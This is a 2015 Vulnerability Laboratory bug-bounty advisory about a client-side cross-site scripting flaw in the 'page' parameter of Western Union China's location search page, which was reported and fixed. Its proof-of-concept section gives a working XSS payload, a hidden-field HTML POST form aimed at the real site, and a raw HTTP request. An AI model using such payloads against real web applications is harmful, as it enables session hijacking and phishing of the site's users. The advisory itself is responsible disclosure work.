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Western Union CN Bug Bounty #6 - Client Side Cross Site Scripting Web Vulnerability



Document Title:
===============
Western Union CN Bug Bounty #6 - Client Side Cross Site Scripting Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1657


Release Date:
=============
2015-12-14


Vulnerability Laboratory ID (VL-ID):
====================================
1658


Common Vulnerability Scoring System:
====================================
3.2


Product & Service Introduction:
===============================
The Western Union Company is an American financial services and communications company. Its North American headquarters is in Meridian, Colorado, 
though the postal designation of nearby Englewood is used in its mailing address. Up until it discontinued the service in 2006, Western Union was 
the best-known U.S. company in the business of exchanging telegrams.

(Copy of the Homepage: https://en.wikipedia.org/wiki/Western_Union )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a client-side cross site scripting web vulnerability in the official Western Union China web-application.


Vulnerability Disclosure Timeline:
==================================
25-11-2015 : Reported
25-11-2015 : Report Validate
14-12-2015 : Fixed and Bounty Awarded 


Discovery Status:
=================
Published


Affected Product(s):
====================
Western Union Company
Product: Western Union - Web Application (Locations) 2015 Q4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A POST inject web vulnerability has been discovered in the official Western Union Union online service web-application.
A vulnerability allows remote attackers to inject malicious script codes on the client-side of the affected web-application.

The vulnerability is located in the `page` value of the `location_search.php` file. Remote attackers are able to inject own 
malicious script codes to the client-side of the affected web-application. The request method to inject is POST and the attack 
vector is client-side. The attacker inject the payload in the page value to execute the code in the results page of the location 
search module. 

The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.2. 
Exploitation of the non-persistent web vulnerability requires a no privilege web-application user account and low or medium user interaction. 
Successful exploitation results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent 
manipulation of affected or connected module context.

Request Method(s):
					[+] POST

Vulnerable Module(s):
					[+] Location Search

Vulnerable Parameter(s):
					[+] page

Affected Domain(s):
					[+] location_search.php


Proof of Concept (PoC):
=======================
The cross site scripting web vulnerability can be exploited by remote attackers without privilege web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Affected domain, path & file:  
http://www.westernunion.cn/en/location_search.php

PoC Payload:   
<--`<img/src=` onerror=alert(document.domain)> --!>

Affected parameter:
page


PoC: html
<html><body> 
<form action="http://westernunion.cn/en/location_search.php"; method="POST"> 
<input type="hidden" name="page" value="1<--`<img/src=` onerror=alert(document.domain)> --!>" /> 
<input type="hidden" name="province" value="SHAANXI" /> 
<input type="hidden" name="city_backup" value="" /> 
<input type="hidden" name="city" value="SHANGLUO" /> 
<input type="hidden" name="district" value="" /> 
<input type="hidden" name="location" value="AGRICULTURAL BANK OF CHINA" /> 
<input type="hidden" name="payout" value="USD" /> 
<input type="hidden" name="search_keyword" value="" /> 
<input type="submit" value="Submit request" /> 
</form> 
</body> 
</html>


--- PoC HTTP REQUEST Session Logs ---
POST /en/location_search.php HTTP/1.1 
Host: westernunion.cn 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Cookie: __utma=11880754.2028102378.1448438929.1448438929.1448438929.1; __utmb=11880754.9.10.1448438929; __utmz=11880754.1448438929.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) 
Connection: keep-alive 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 198
page=1%3C--%60%3Cimg%2Fsrc%3D%60+onerror%3Dalert%28document.domain%29%3E+--%21%3E&province=SHAANXI&city_backup=&city=SHANGLUO&district=&location=AGRICULTURAL+BAN


Reference(s):
http://www.westernunion.cn/
http://www.westernunion.cn/en/
http://www.westernunion.cn/en/location_search.php


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in the chinese wester union bank web-application is estimated as medium. (CVSS 3.2)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Milan Solanki [milans812@xxxxxxxxx]


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=========================
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